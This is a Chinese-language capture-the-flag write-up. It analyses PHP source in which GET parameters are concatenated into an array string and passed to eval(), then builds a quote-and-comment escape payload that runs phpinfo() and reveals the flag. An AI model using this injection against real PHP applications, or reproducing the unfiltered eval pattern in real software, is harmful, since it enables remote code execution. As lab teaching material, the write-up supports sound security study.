观察源码
进入靶场发现直接给了源码:
<?php
highlight_file('index.php');
extract($_GET);
error_reporting(0);
function String2Array($data)
{
if($data == '') return array();
@eval("\$array = $data;");
return $array;
}
if(is_array($attrid) && is_array($attrvalue))
{
$attrstr .= 'array(';
$attrids = count($attrid);
for($i=0; $i<$attrids; $i++)
{
$attrstr .= '"'.intval($attrid[$i]).'"=>'.'"'.$attrvalue[$i].'"';
if($i < $attrids-1)
{
$attrstr .= ',';
}
}
$attrstr .= ');';
}
String2Array($attrstr);
函数分析
先来看看其中的String2Array()
函数,我在其它博客中看到了这么个说法:
PHP CMS中 很常用的string2array函数:
function string2array($data){undefined if($data == ''){undefined return array(); } eval("\$array = $data;") return $array; }
这里必须使用eval函数才能将“字符串”变成一个真正的数组
好家伙,直接给答案了相当于。所以这边 String2Array($data) 这个函数要想利用data得到一个数组。更全面的:将GET方法传的参数编程数组之后通过eval()
函数进行赋值给另外一个变量,但是这里将字符串转换成数组的过程没有进行任何过滤,导致输入的内容很容易就逃逸出数组的范围,造成任意命令执行。
字符逃逸
再来观察观察字符赋值的内容:
if(is_array($attrid) && is_array($attrvalue))
{
$attrstr .= 'array(';
$attrids = count($attrid);
for($i=0; $i<$attrids; $i++)
{
$attrstr .= '"'.intval($attrid[$i]).'"=>'.'"'.$attrvalue[$i].'"';
if($i < $attrids-1)
{
$attrstr .= ',';
}
}
$attrstr .= ');';
}
首先我们应该知道的是,在php中点 .
的意思为“连接”,指的是字符串连接符,可以用来将两个或两个以上的字符串拼接在一起,形成一个新的字符串;具体语法格式为:
$string = string1.string2.string3. ······ .stringn;
还应该知道在php中数组默认键名是整数,也可以自己定义任意字符键名(最好是有实际意义),如:
$css=array('style'=>'0','color'=>'green');
则$css['style']=='0',$css['color']=='green'
所以上面这段代码也就明了了,通过循环将传入的两个数组进行字符串的拼接来构成一个生成数组的字符串。但是我们通过观察发现,如果传入");//
这样的方式,就能够把数组闭合起来,而且还能将后面的内容给注释掉,相当于SQL注入闭合掉拼接的语句那样:
$attrstr = array("0" => "");//"xxxxx);"
构造payload
更进一步在;
后面输入另外一条语句,如");phpinfo();//
:
$attrstr = array("0" => "");phpinfo();//"xxxxx);"
这么一来就能够任意代码执行了,转化为payload即为:
?attrid[0]=0&attrvalue[0]=");phpinfo();//
于打印出php的信息中,CTRL+F调出搜索框搜索即可找到flag
获取flag
Tokyo flag{211eecb4-39db-4e2b-b404-402ff5442b0f}